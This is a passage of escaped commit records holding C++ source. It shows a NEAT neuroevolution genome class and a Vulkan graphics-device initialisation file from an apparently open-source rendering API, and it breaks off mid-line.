maxNeuronGene->to + 1U;\n}\n\nstd::size_t Genome::GetGeneCount() const {\n\treturn genes.size();\n}\n\nGenome& Genome::operator=(const Genome& other)\n{\n\tthis->genes = other.genes; \n\tconst_cast<TrainingParameters&>(this->parameters) = other.parameters;\n\treturn *this;\n}\n\nvoid Genome::MutateGenes() {\n\tif (ShouldAddConnection()) {\n\t\tAddRandomConnection();\n\t}\n\telse\n\tif (ShouldAddNeuron()) {\n\t\tAddRandomNeuron();\n\t}\n\telse {\n\t\tShuffleWeights();\n\t}\n}\n\nbool Genome::DidChanceOccure(float chance)\n{\n\tauto num = rand() % 100;\n\treturn num < int(100.0f * chance);\n}\n\nvoid Genome::AddRandomNeuron()\n{\n\tGene* randGene = nullptr;\n\tdo {\n\t\tint num = rand() % genes.size();\n\t\trandGene = &genes[num];\n\t} while (!randGene->isEnabled);\n\n\tauto indexOfNewNeuron = ExtrapolateNeuronCount();\n\n\tGene g1;\n g1.from = randGene->from;\n\tg1.to = indexOfNewNeuron;\n\n\tGene g2;\n\tg2.from = indexOfNewNeuron;\n g2.to = randGene->to;\n\n\trandGene->isEnabled = false;\n\tgenes.push_back(std::move(g1));\n\tgenes.push_back(std::move(g2));\n}\n\nvoid Genome::AddRandomConnection()\n{\n\tauto GetRandomNumberBetween = [](size_t min, size_t max) {\n\t\treturn rand() % (max - min) + min;\n\t};\n\n\tGene newConnection;\n\tauto highestNeuronIndex = ExtrapolateNeuronCount() - 1U;\n\n\tnewConnection.from = GetRandomNumberBetween(0U, highestNeuronIndex - 1U);\n\tnewConnection.to = GetRandomNumberBetween(newConnection.from + 1, highestNeuronIndex);\n\n\tgenes.push_back(newConnection);\n}\n\nvoid Genome::ShuffleWeights()\n{\n\tfor (size_t i = 0; i < genes.size(); i++) {\n\t\tif (ShouldMutateWeight()) {\n\t\t\tMutateWeightOfGeneAt(i);\n\t\t}\n\t}\n}\n\nvoid Genome::MutateWeightOfGeneAt(size_t index)\n{\n\tconstexpr float chanceOfTotalWeightReset = 0.1f;\n\tif (DidChanceOccure(chanceOfTotalWeightReset)) {\n\t\tgenes[index].SetRandomWeight();\n\t} else {\n\t\tPerturbWeightAt(index);\n\t}\n}\n\nvoid Genome::PerturbWeightAt(size_t index)\n{\n\tconstexpr float perturbanceBoundaries = 0.2f;\n\tauto perturbance = (float)(rand() % 10'000) \/ 10'000.0f * perturbanceBoundaries;\n\tif (rand() % 2) {\n\t\tperturbance = -perturbance;\n\t}\n\tgenes[index].weight *= perturbance;\n}\n\ndouble Genome::GetGeneticalDistanceFrom(const Genome& other) const\n{\n\tdouble totalWeightDifference = 0.0;\n\tsize_t numberOfOverlapingGenes = 0;\n\n\tsize_t sizeOfSmallerGenome = std::min(this->GetGeneCount(), other.GetGeneCount());\n\tauto IsHistoricalMarkingSameAt = [&](size_t i) {\n\t\treturn this->GetGeneAt(i).historicalMarking == other[i].historicalMarking;\n\t};\n\n\tfor (size_t i = 0; i < sizeOfSmallerGenome && IsHistoricalMarkingSameAt(i); ++i) {\n\t\ttotalWeightDifference += (double)std::abs(this->GetGeneAt(i).weight - other[i].weight);\n\t\t++numberOfOverlapingGenes;\n\t}\n\n\tauto numberOfDisjointGenes = this->GetGeneCount() + other.GetGeneCount() - (size_t)2 * numberOfOverlapingGenes;\n\tauto sizeOfBiggerGenome = std::max(this->GetGeneCount(), other.GetGeneCount());\n\tauto disjointGenesInfluence = (double)numberOfDisjointGenes \/ (double)sizeOfBiggerGenome;\n\n\tauto averageWeightDifference = totalWeightDifference \/ (double)numberOfOverlapingGenes;\n\n\tdisjointGenesInfluence *= (double)parameters.advanced.speciation.importanceOfDisjointGenes;\n\taverageWeightDifference *= (double)parameters.advanced.speciation.importanceOfAverageWeightDifference;\n\n\treturn disjointGenesInfluence + averageWeightDifference;\n}<commit_msg>Continued work on #2<commit_after>#include \"genome.h\"\n#include <vector>\n#include <algorithm>\n\nGenome::Genome(const TrainingParameters& parameters) :\n\tparameters(parameters),\n\tgenes(parameters.numberOfInputs * parameters.numberOfOutputs)\n{\n\tauto *currentGene = &genes.front();\n\tfor (auto in = 0U; in < parameters.numberOfInputs; ++in) {\n\t\tfor (auto out = 0U; out < parameters.numberOfOutputs; ++out) {\n\t\t\tcurrentGene->from = in;\n\t\t\tcurrentGene->to = out + parameters.numberOfInputs;\n\t\t\t++currentGene;\n\t\t}\n\t}\n}\n\nstd::size_t Genome::ExtrapolateNeuronCount() const {\n\tauto CompareToNeuron = [](const Gene& lhs, const Gene& rhs) {\n\t\treturn lhs.to < rhs.to;\n\t};\n\tauto maxNeuronGene = std::max_element(genes.begin(), genes.end(), CompareToNeuron);\n\t\/\/ TODO jnf Maybe add lookup table\n\treturn maxNeuronGene->to + 1U;\n}\n\nstd::size_t Genome::GetGeneCount() const {\n\treturn genes.size();\n}\n\nGenome& Genome::operator=(const Genome& other)\n{\n\tthis->genes = other.genes; \n\tconst_cast<TrainingParameters&>(this->parameters) = other.parameters;\n\treturn *this;\n}\n\nvoid Genome::MutateGenes() {\n\tif (ShouldAddConnection()) {\n\t\tAddRandomConnection();\n\t}\n\telse\n\tif (ShouldAddNeuron()) {\n\t\tAddRandomNeuron();\n\t}\n\telse {\n\t\tShuffleWeights();\n\t}\n}\n\nbool Genome::DidChanceOccure(float chance)\n{\n\tauto num = rand() % 100;\n\treturn num < int(100.0f * chance);\n}\n\nvoid Genome::AddRandomNeuron()\n{\n\tGene* randGene = nullptr;\n\tdo {\n\t\tint num = rand() % genes.size();\n\t\trandGene = &genes[num];\n\t} while (!randGene->isEnabled);\n\n\tauto indexOfNewNeuron = ExtrapolateNeuronCount();\n\n\tGene g1;\n g1.from = randGene->from;\n\tg1.to = indexOfNewNeuron;\n g1.weight = randGene->weight;\n\n\tGene g2;\n\tg2.from = indexOfNewNeuron;\n g2.to = randGene->to;\n g2.weight = randGene->weight;\n\n\trandGene->isEnabled = false;\n\tgenes.push_back(std::move(g1));\n\tgenes.push_back(std::move(g2));\n}\n\nvoid Genome::AddRandomConnection()\n{\n\tauto GetRandomNumberBetween = [](size_t min, size_t max) {\n\t\treturn rand() % (max - min) + min;\n\t};\n\n\tGene newConnection;\n\tauto highestNeuronIndex = ExtrapolateNeuronCount() - 1U;\n\n\tnewConnection.from = GetRandomNumberBetween(0U, highestNeuronIndex - 1U);\n\tnewConnection.to = GetRandomNumberBetween(newConnection.from + 1, highestNeuronIndex);\n\n\t\/\/genes.push_back(newConnection);\n}\n\nvoid Genome::ShuffleWeights()\n{\n\tfor (size_t i = 0; i < genes.size(); i++) {\n\t\tif (ShouldMutateWeight()) {\n\t\t\tMutateWeightOfGeneAt(i);\n\t\t}\n\t}\n}\n\nvoid Genome::MutateWeightOfGeneAt(size_t index)\n{\n\tconstexpr float chanceOfTotalWeightReset = 0.1f;\n\tif (DidChanceOccure(chanceOfTotalWeightReset)) {\n\t\tgenes[index].SetRandomWeight();\n\t} else {\n\t\tPerturbWeightAt(index);\n\t}\n}\n\nvoid Genome::PerturbWeightAt(size_t index)\n{\n\tconstexpr float perturbanceBoundaries = 0.2f;\n\tauto perturbance = (float)(rand() % 10'000) \/ 10'000.0f * perturbanceBoundaries;\n\tif (rand() % 2) {\n\t\tperturbance = -perturbance;\n\t}\n\tgenes[index].weight *= perturbance;\n}\n\ndouble Genome::GetGeneticalDistanceFrom(const Genome& other) const\n{\n\tdouble totalWeightDifference = 0.0;\n\tsize_t numberOfOverlapingGenes = 0;\n\n\tsize_t sizeOfSmallerGenome = std::min(this->GetGeneCount(), other.GetGeneCount());\n\tauto IsHistoricalMarkingSameAt = [&](size_t i) {\n\t\treturn this->GetGeneAt(i).historicalMarking == other[i].historicalMarking;\n\t};\n\n\tfor (size_t i = 0; i < sizeOfSmallerGenome && IsHistoricalMarkingSameAt(i); ++i) {\n\t\ttotalWeightDifference += (double)std::abs(this->GetGeneAt(i).weight - other[i].weight);\n\t\t++numberOfOverlapingGenes;\n\t}\n\n\tauto numberOfDisjointGenes = this->GetGeneCount() + other.GetGeneCount() - (size_t)2 * numberOfOverlapingGenes;\n\tauto sizeOfBiggerGenome = std::max(this->GetGeneCount(), other.GetGeneCount());\n\tauto disjointGenesInfluence = (double)numberOfDisjointGenes \/ (double)sizeOfBiggerGenome;\n\n\tauto averageWeightDifference = totalWeightDifference \/ (double)numberOfOverlapingGenes;\n\n\tdisjointGenesInfluence *= (double)parameters.advanced.speciation.importanceOfDisjointGenes;\n\taverageWeightDifference *= (double)parameters.advanced.speciation.importanceOfAverageWeightDifference;\n\n\treturn disjointGenesInfluence + averageWeightDifference;\n}<|endoftext|>"} {"text":"<commit_before>\/\/-----------------------------------------------------------------------------\n\/\/ Jikken - 3D Abstract High Performance Graphics API\n\/\/ Copyright(c) 2017 Jeff Hutchinson\n\/\/ Copyright(c) 2017 Tim Barnes\n\/\/\n\/\/ Permission is hereby granted, free of charge, to any person obtaining a copy\n\/\/ of this software and associated documentation files(the \"Software\"), to deal\n\/\/ in the Software without restriction, including without limitation the rights\n\/\/ to use, copy, modify, merge, publish, distribute, sublicense, and \/ or sell\n\/\/ copies of the Software, and to permit persons to whom the Software is\n\/\/ furnished to do so, subject to the following conditions :\n\/\/\n\/\/ The above copyright notice and this permission notice shall be included in all\n\/\/ copies or substantial portions of the Software.\n\/\/\n\/\/ THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n\/\/ IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n\/\/ FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.IN NO EVENT SHALL THE\n\/\/ AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n\/\/ LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n\/\/ OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\n\/\/ SOFTWARE.\n\/\/-----------------------------------------------------------------------------\n\n#include <cassert>\n#include <cstdlib>\n#include \"vulkan\/VulkanGraphicsDevice.hpp\"\n#include \"vulkan\/VulkanUtil.hpp\"\n\/\/just temp\n#include <GLFW\/glfw3.h>\n\nnamespace Jikken\n{\n\tVulkanGraphicsDevice::VulkanGraphicsDevice() :\n\t\tmInstance(VK_NULL_HANDLE),\n\t\tmSurface(VK_NULL_HANDLE),\n\t\tmPhysicalDevice(VK_NULL_HANDLE),\n\t\tmDevice(VK_NULL_HANDLE),\n\t\tmGraphicsQueue(VK_NULL_HANDLE),\n\t\tmGraphicsQueueIndex(UINT32_MAX),\n\t\tmDebugCallback(VK_NULL_HANDLE),\n\t\tmAllocCallback(nullptr)\n\t{\n\t}\n\n\tVulkanGraphicsDevice::~VulkanGraphicsDevice()\n\t{\n\t\t\/\/wait for device to be idle\n\t\tif (mDevice)\n\t\t\tvkDeviceWaitIdle(mDevice);\n\n\t\t\/\/ cleanup other stuff\n\n\t\t\/\/ destroy logical device\n\t\tif (mDevice)\n\t\t\tvkDestroyDevice(mDevice, mAllocCallback);\n\n\t\tif (mSurface)\n\t\t\tvkDestroySurfaceKHR(mInstance, mSurface, mAllocCallback);\n\n\t\tif (mDebugCallback)\n\t\t{\n\t\t\tauto debugReportDestroyFunc = (PFN_vkDestroyDebugReportCallbackEXT)vkGetInstanceProcAddr(mInstance, \"vkDestroyDebugReportCallbackEXT\");\n\t\t\tif (debugReportDestroyFunc != nullptr)\n\t\t\t{\n\t\t\t\tdebugReportDestroyFunc(mInstance, mDebugCallback, mAllocCallback);\n\t\t\t}\n\t\t}\n\n\t\tif (mInstance)\n\t\t\tvkDestroyInstance(mInstance, mAllocCallback);\n\t}\n\n\tbool VulkanGraphicsDevice::init(void *glfwWinHandle)\n\t{\n\t\tif (!glfwVulkanSupported())\n\t\t{\n\t\t\tstd::printf(\"Vulkan is not supported\\n\");\n\t\t\treturn false;\n\t\t}\n\n\t\t\/\/validation layers\n\t#ifdef _DEBUG\n\t\tbool validationLayersEnabled = true;\n\t#else\n\t\tbool validationLayersEnabled = false\n\t#endif\n\n\t\t\/\/grab vulkan instance extension list\n\t\tuint32_t extensionsCount = 0;\n\t\tVkResult result = vkEnumerateInstanceExtensionProperties(nullptr, &extensionsCount, nullptr);\n\t\tif (result != VK_SUCCESS || extensionsCount == 0)\n\t\t{\n\t\t\tstd::printf(\"vkEnumerateInstanceExtensionProperties failed\\n\");\n\t\t\treturn false;\n\t\t}\n\n\t\tstd::vector<VkExtensionProperties> instanceExtensionList(extensionsCount);\n\t\tresult = vkEnumerateInstanceExtensionProperties(nullptr, &extensionsCount, instanceExtensionList.data());\n\n\t\tif (result != VK_SUCCESS)\n\t\t{\n\t\t\tstd::printf(\"vkEnumerateInstanceExtensionProperties failed\\n\");\n\t\t\treturn false;\n\t\t}\n\n\t\t\/\/get required extensions from glfw\n\t\tuint32_t glfwExtCount = 0;\n\t\tconst char** glfwExtensions = glfwGetRequiredInstanceExtensions(&glfwExtCount);\n\t\tif (glfwExtCount == 0)\n\t\t{\n\t\t\tstd::printf(\"Failed to find any required extensions\\n\");\n\t\t\treturn false;\n\t\t}\n\n\t\tstd::vector<const char*> requiredExtensions(glfwExtensions, glfwExtensions + glfwExtCount);\n\n\t\tif (validationLayersEnabled)\n\t\t\trequiredExtensions.push_back(VK_EXT_DEBUG_REPORT_EXTENSION_NAME);\n\n\t\t\/\/ check required extension list against all availble extensions\n\t\tfor (const auto &ext : requiredExtensions)\n\t\t{\n\t\t\tif (!vkutils::checkExtension(ext, instanceExtensionList))\n\t\t\t{\n\t\t\t\tstd::printf(\"Required extension: %s not found\\n\", ext);\n\t\t\t\treturn false;\n\t\t\t}\n\t\t}\n\n\t\t\/\/setup validation layers - just VK_LAYER_LUNARG_standard_validation for now. There are plenty more though ;)\n\t\tconst std::vector<const char*> validationLayers = { \"VK_LAYER_LUNARG_standard_validation\" };\n\n\t\tuint32_t layerCount = 0;\n\n\t\tif (validationLayersEnabled)\n\t\t{\n\t\t\tvkEnumerateInstanceLayerProperties(&layerCount, nullptr);\n\t\t\tstd::vector<VkLayerProperties> availableLayers(layerCount);\n\t\t\tvkEnumerateInstanceLayerProperties(&layerCount, availableLayers.data());\n\n\t\t\tfor (const auto &layer : validationLayers)\n\t\t\t{\n\t\t\t\t\/\/this is not fatal so just disable validation layers if it is not found\n\t\t\t\tif (!vkutils::checkLayer(layer, availableLayers))\n\t\t\t\t{\n\t\t\t\t\tstd::printf(\"Could not find validation layer: %s Disabling validation layers\\n\", layer);\n\t\t\t\t\tvalidationLayersEnabled = false;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\t\/\/setup application and instance info\n\t\tVkApplicationInfo appInfo = {};\n\t\tappInfo.sType = VK_STRUCTURE_TYPE_APPLICATION_INFO;\n\t\tappInfo.pApplicationName = \"Jikken\";\n\t\tappInfo.applicationVersion = VK_MAKE_VERSION(1, 0, 0);\n\t\tappInfo.pEngineName = \"Jikken\";\n\t\tappInfo.engineVersion = VK_MAKE_VERSION(1, 0, 0);\n\t\tappInfo.apiVersion = VK_API_VERSION_1_0;\n\n\t\tVkInstanceCreateInfo createInfo = {};\n\t\tcreateInfo.sType = VK_STRUCTURE_TYPE_INSTANCE_CREATE_INFO;\n\t\tcreateInfo.flags = 0;\n\t\tcreateInfo.pApplicationInfo = &appInfo;\n\t\tcreateInfo.enabledExtensionCount = static_cast<uint32_t>(requiredExtensions.size());\n\t\tcreateInfo.ppEnabledExtensionNames = requiredExtensions.data();\n\t\tif (validationLayersEnabled)\n\t\t{\n\t\t\tcreateInfo.enabledLayerCount = static_cast<uint32_t>(validationLayers.size());\n\t\t\tcreateInfo.ppEnabledLayerNames = validationLayers.data();\n\t\t}\n\t\telse\n\t\t\tcreateInfo.enabledLayerCount = 0;\n\n\t\t\/\/finally create vulkan instance\n\t\tresult = vkCreateInstance(&createInfo, mAllocCallback, &mInstance);\n\n\t\tif (result != VK_SUCCESS)\n\t\t{\n\t\t\tstd::printf(\"vkCreateInstance failed\\n\");\n\t\t\treturn false;\n\t\t}\n\n\t\t\/\/setup debug callback if validation layers enabled\n\t\tif (validationLayersEnabled)\n\t\t{\n\t\t\tVkDebugReportCallbackCreateInfoEXT debugCreateInfo = {};\n\t\t\tdebugCreateInfo.sType = VK_STRUCTURE_TYPE_DEBUG_REPORT_CALLBACK_CREATE_INFO_EXT;\n\t\t\tdebugCreateInfo.flags = VK_DEBUG_REPORT_ERROR_BIT_EXT | VK_DEBUG_REPORT_WARNING_BIT_EXT | VK_DEBUG_REPORT_PERFORMANCE_WARNING_BIT_EXT;\n\t\t\tdebugCreateInfo.pfnCallback = vkutils::debugCallback;\n\n\t\t\tauto debugReportFunc = (PFN_vkCreateDebugReportCallbackEXT)vkGetInstanceProcAddr(mInstance, \"vkCreateDebugReportCallbackEXT\");\n\t\t\tif (debugReportFunc != nullptr)\n\t\t\t{\n\t\t\t\tresult = debugReportFunc(mInstance, &debugCreateInfo, mAllocCallback, &mDebugCallback);\n\n\t\t\t\tif (result != VK_SUCCESS)\n\t\t\t\t{\n\t\t\t\t\tstd::printf(\"vkCreateDebugReportCallbackEXT failed\\n\");\n\t\t\t\t\treturn false;\n\t\t\t\t}\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\tstd::printf(\"Failed to retrieve vkCreateDebugReportCallbackEXT address. Debug callbacks will be disabled\\n\");\n\t\t\t\tvalidationLayersEnabled = false;\n\t\t\t}\n\t\t}\n\n\t\t\/\/create window surface\n\t\tresult = glfwCreateWindowSurface(mInstance, static_cast<GLFWwindow*>(glfwWinHandle), mAllocCallback, &mSurface);\n\t\tif (result != VK_SUCCESS)\n\t\t{\n\t\t\tstd::printf(\"Failed to create vulkan window surface\\n\");\n\t\t\treturn false;\n\t\t}\n\n\t\t\/\/find physical devices\n\t\tuint32_t numDevices = 0;\n\t\tresult = vkEnumeratePhysicalDevices(mInstance, &numDevices, nullptr);\n\t\tif (result != VK_SUCCESS || numDevices == 0)\n\t\t{\n\t\t\tstd::printf(\"vkEnumeratePhysicalDevices failed\\n\");\n\t\t\treturn false;\n\t\t}\n\n\t\tstd::vector<VkPhysicalDevice> physicalDevices(numDevices);\n\t\tresult = vkEnumeratePhysicalDevices(mInstance, &numDevices, physicalDevices.data());\n\t\tif (result != VK_SUCCESS)\n\t\t{\n\t\t\tstd::printf(\"vkEnumeratePhysicalDevices failed\\n\");\n\t\t\treturn false;\n\t\t}\n\n\t\t\/\/get our queue index and hopefully find an acceptable device\n\t\tfor (const auto &device : physicalDevices)\n\t\t{\n\t\t\t\/\/break on first acceptable device\n\t\t\tif (vkutils::checkPhysicalDevice(device, mSurface, mGraphicsQueueIndex))\n\t\t\t{\n\t\t\t\tmPhysicalDevice = device;\n\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\n\t\tif (mGraphicsQueueIndex == UINT32_MAX)\n\t\t{\n\t\t\tstd::printf(\"Failed to find suitable graphics queue\\n\");\n\t\t\treturn false;\n\t\t}\n\n\t\tif (mPhysicalDevice == VK_NULL_HANDLE)\n\t\t{\n\t\t\tstd::printf(\"Failed to select a physical device\\n\");\n\t\t\treturn false;\n\t\t}\n\n\t\t\/\/print some information about our physical device\n\t\tvkutils::printDeviceInfo(mPhysicalDevice);\n\n\t\t\/\/create logical device\n\t\tstd::vector<VkDeviceQueueCreateInfo> queueCreateInfos;\n\t\tfloat queuePriority = 1.0f;\n\t\tVkDeviceQueueCreateInfo queueCreateInfo = {};\n\t\tqueueCreateInfo.sType = VK_STRUCTURE_TYPE_DEVICE_QUEUE_CREATE_INFO;\n\t\tqueueCreateInfo.flags = 0;\n\t\tqueueCreateInfo.queueFamilyIndex = mGraphicsQueueIndex;\n\t\tqueueCreateInfo.queueCount = 1;\n\t\tqueueCreateInfo.pQueuePriorities = &queuePriority;\n\t\tqueueCreateInfos.push_back(queueCreateInfo);\n\n\t\t\/\/need swap chain extension - this extension is already checked above with checkPhysicalDevice, no need to check again\n\t\tstd::vector<const char*> requiredDeviceExtensions = { VK_KHR_SWAPCHAIN_EXTENSION_NAME };\n\n\t\tVkDeviceCreateInfo deviceCreateInfo = {};\n\t\tdeviceCreateInfo.sType = VK_STRUCTURE_TYPE_DEVICE_CREATE_INFO;\n\t\tdeviceCreateInfo.flags = 0;\n\t\tdeviceCreateInfo.enabledExtensionCount = static_cast<uint32_t>(requiredDeviceExtensions.size());\n\t\tdeviceCreateInfo.ppEnabledExtensionNames = requiredDeviceExtensions.data();\n\t\tdeviceCreateInfo.queueCreateInfoCount = 1;\n\t\tdeviceCreateInfo.pQueueCreateInfos = queueCreateInfos.data();\n\t\tdeviceCreateInfo.queueCreateInfoCount = static_cast<uint32_t>(queueCreateInfos.size());\n\n\t\tdeviceCreateInfo.enabledLayerCount = 0;\n\t\tif (validationLayersEnabled)\n\t\t{\n\t\t\tdeviceCreateInfo.enabledLayerCount = static_cast<uint32_t>(validationLayers.size());\n\t\t\tdeviceCreateInfo.ppEnabledLayerNames = validationLayers.data();\n\t\t}\n\n\t\t\/\/create vulkan device\n\t\t\/\/todo: for some reason NVidia drivers spew out vkCreateSampler errors here, find out why because we are not calling that function!\n\t\tresult = vkCreateDevice(mPhysicalDevice, &deviceCreateInfo, mAllocCallback, &mDevice);\n\t\tif (result != VK_SUCCESS)\n\t\t{\n\t\t\tstd::printf(\"vkCreateDevice failed\\n\");\n\t\t\treturn false;\n\t\t}\n\n\t\t\/\/grab graphics queue handle\n\t\tvkGetDeviceQueue(mDevice, mGraphicsQueueIndex, 0, &mGraphicsQueue);\n\n\t\tif (!mGraphicsQueue)\n\t\t{\n\t\t\tstd::printf(\"Failed to retrieve graphics queue\\n\");\n\t\t\treturn false;\n\t\t}\n\n\t\treturn true;\n\t}\n\n\tShaderHandle VulkanGraphicsDevice::createShader(const std::vector<ShaderDetails> &shaders)\n\t{\n\t\treturn InvalidHandle;\n\t}\n\n\tBufferHandle VulkanGraphicsDevice::createBuffer(BufferType type, BufferUsageHint hint, size_t dataSize, float *data)\n\t{\n\t\treturn InvalidHandle;\n\t}\n\n\tLayoutHandle VulkanGraphicsDevice::createVertexInputLayout(const std::vector<VertexInputLayout> &attributes)\n\t{\n\t\treturn InvalidHandle;\n\t}\n\n\tVertexArrayHandle VulkanGraphicsDevice::createVAO(LayoutHandle layout, BufferHandle vertexBuffer, BufferHandle indexBuffer)\n\t{\n\t\treturn InvalidHandle;\n\t}\n\n\tvoid VulkanGraphicsDevice::bindConstantBuffer(ShaderHandle shader, BufferHandle cBuffer, int32_t index)\n\t{\n\t}\n\n\tvoid VulkanGraphicsDevice::deleteVertexInputLayout(LayoutHandle handle)\n\t{\n\t}\n\n\tvoid VulkanGraphicsDevice::deleteVAO(VertexArrayHandle handle)\n\t{\n\t}\n\n\tvoid VulkanGraphicsDevice::deleteBuffer(BufferHandle handle)\n\t{\n\t}\n\n\tvoid VulkanGraphicsDevice::deleteShader(ShaderHandle handle)\n\t{\n\t}\n\n\tvoid VulkanGraphicsDevice::submitCommandQueue(CommandQueue *cmdQueue)\n\t{\n\t}\n\n\tvoid VulkanGraphicsDevice::present()\n\t{\n\t}\n}<commit_msg>todo comment update<commit_after>\/\/-----------------------------------------------------------------------------\n\/\/ Jikken - 3D Abstract High Performance Graphics API\n\/\/ Copyright(c) 2017 Jeff Hutchinson\n\/\/ Copyright(c) 2017 Tim Barnes\n\/\/\n\/\/ Permission is hereby granted, free of charge, to any person obtaining a copy\n\/\/ of this software and associated documentation files(the \"Software\"), to deal\n\/\/ in the Software without restriction, including without limitation the rights\n\/\/ to use, copy, modify, merge, publish, distribute, sublicense, and \/ or sell\n\/\/ copies of the Software, and to permit persons to whom the Software is\n\/\/ furnished to do so, subject to the following conditions :\n\/\/\n\/\/ The above copyright notice and this permission notice shall be included in all\n\/\/ copies or substantial portions of the Software.\n\/\/\n\/\/ THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n\/\/ IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n\/\/ FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.IN NO EVENT SHALL THE\n\/\/ AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n\/\/ LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n\/\/ OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\n\/\/ SOFTWARE.\n\/\/-----------------------------------------------------------------------------\n\n#include <cassert>\n#include <cstdlib>\n#include \"vulkan\/VulkanGraphicsDevice.hpp\"\n#include \"vulkan\/VulkanUtil.hpp\"\n\/\/just temp\n#include <GLFW\/glfw3.h>\n\nnamespace Jikken\n{\n\tVulkanGraphicsDevice::VulkanGraphicsDevice() :\n\t\tmInstance(VK_NULL_HANDLE),\n\t\tmSurface(VK_NULL_HANDLE),\n\t\tmPhysicalDevice(VK_NULL_HANDLE),\n\t\tmDevice(VK_NULL_HANDLE),\n\t\tmGraphicsQueue(VK_NULL_HANDLE),\n\t\tmGraphicsQueueIndex(UINT32_MAX),\n\t\tmDebugCallback(VK_NULL_HANDLE),\n\t\tmAllocCallback(nullptr)\n\t{\n\t}\n\n\tVulkanGraphicsDevice::~VulkanGraphicsDevice()\n\t{\n\t\t\/\/wait for device to be idle\n\t\tif (mDevice)\n\t\t\tvkDeviceWaitIdle(mDevice);\n\n\t\t\/\/ cleanup other stuff\n\n\t\t\/\/ destroy logical device\n\t\tif (mDevice)\n\t\t\tvkDestroyDevice(mDevice, mAllocCallback);\n\n\t\tif (mSurface)\n\t\t\tvkDestroySurfaceKHR(mInstance, mSurface, mAllocCallback);\n\n\t\tif (mDebugCallback)\n\t\t{\n\t\t\tauto debugReportDestroyFunc = (PFN_vkDestroyDebugReportCallbackEXT)vkGetInstanceProcAddr(mInstance, \"vkDestroyDebugReportCallbackEXT\");\n\t\t\tif (debugReportDestroyFunc != nullptr)\n\t\t\t{\n\t\t\t\tdebugReportDestroyFunc(mInstance, mDebugCallback, mAllocCallback);\n\t\t\t}\n\t\t}\n\n\t\tif (mInstance)\n\t\t\tvkDestroyInstance(mInstance, mAllocCallback);\n\t}\n\n\tbool VulkanGraphicsDevice::init(void *glfwWinHandle)\n\t{\n\t\tif (!glfwVulkanSupported())\n\t\t{\n\t\t\tstd::printf(\"Vulkan is not supported\\n\");\n\t\t\/\/\treturn false;\n\t\t}\n\n\t\t\/\/validation layers\n\t#ifdef _DEBUG\n\t\tbool validationLayersEnabled = true;\n\t#else\n\t\tbool validationLayersEnabled = false\n\t#endif\n\n\t\t\/\/grab vulkan instance extension list\n\t\tuint32_t extensionsCount = 0;\n\t\tVkResult result = vkEnumerateInstanceExtensionProperties(nullptr, &extensionsCount, nullptr);\n\t\tif (result != VK_SUCCESS || extensionsCount == 0)\n\t\t{\n\t\t\tstd::printf(\"vkEnumerateInstanceExtensionProperties failed\\n\");\n\t\t\treturn false;\n\t\t}\n\n\t\tstd::vector<VkExtensionProperties> instanceExtensionList(extensionsCount);\n\t\tresult = vkEnumerateInstanceExtensionProperties(nullptr, &extensionsCount, instanceExtensionList.data());\n\n\t\tif (result != VK_SUCCESS)\n\t\t{\n\t\t\tstd::printf(\"vkEnumerateInstanceExtensionProperties failed\\n\");\n\t\t\treturn false;\n\t\t}\n\n\t\t\/\/get required extensions from glfw\n\t\tuint32_t glfwExtCount = 0;\n\t\tconst char** glfwExtensions = glfwGetRequiredInstanceExtensions(&glfwExtCount);\n\t\tif (glfwExtCount == 0)\n\t\t{\n\t\t\tstd::printf(\"Failed to find any required extensions\\n\");\n\t\t\treturn false;\n\t\t}\n\n\t\tstd::vector<const char*> requiredExtensions(glfwExtensions, glfwExtensions + glfwExtCount);\n\n\t\tif (validationLayersEnabled)\n\t\t\trequiredExtensions.push_back(VK_EXT_DEBUG_REPORT_EXTENSION_NAME);\n\n\t\t\/\/ check required extension list against all availble extensions\n\t\tfor (const auto &ext : requiredExtensions)\n\t\t{\n\t\t\tif (!vkutils::checkExtension(ext, instanceExtensionList))\n\t\t\t{\n\t\t\t\tstd::printf(\"Required extension: %s not found\\n\", ext);\n\t\t\t\treturn false;\n\t\t\t}\n\t\t}\n\n\t\t\/\/setup validation layers - just VK_LAYER_LUNARG_standard_validation for now. There are plenty more though ;)\n\t\tconst std::vector<const char*> validationLayers = { \"VK_LAYER_LUNARG_standard_validation\" };\n\n\t\tuint32_t layerCount = 0;\n\n\t\tif (validationLayersEnabled)\n\t\t{\n\t\t\tvkEnumerateInstanceLayerProperties(&layerCount, nullptr);\n\t\t\tstd::vector<VkLayerProperties> availableLayers(layerCount);\n\t\t\tvkEnumerateInstanceLayerProperties(&layerCount, availableLayers.data());\n\n\t\t\tfor (const auto &layer : validationLayers)\n\t\t\t{\n\t\t\t\t\/\/this is not fatal so just disable validation layers if it is not found\n\t\t\t\tif (!vkutils::checkLayer(layer, availableLayers))\n\t\t\t\t{\n\t\t\t\t\tstd::printf(\"Could not find validation layer: %s Disabling validation layers\\n\", layer);\n\t\t\t\t\tvalidationLayersEnabled = false;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\t\/\/setup application and instance info\n\t\tVkApplicationInfo appInfo = {};\n\t\tappInfo.sType = VK_STRUCTURE_TYPE_APPLICATION_INFO;\n\t\tappInfo.pApplicationName = \"Jikken\";\n\t\tappInfo.applicationVersion = VK_MAKE_VERSION(1, 0, 0);\n\t\tappInfo.pEngineName = \"Jikken\";\n\t\tappInfo.engineVersion = VK_MAKE_VERSION(1, 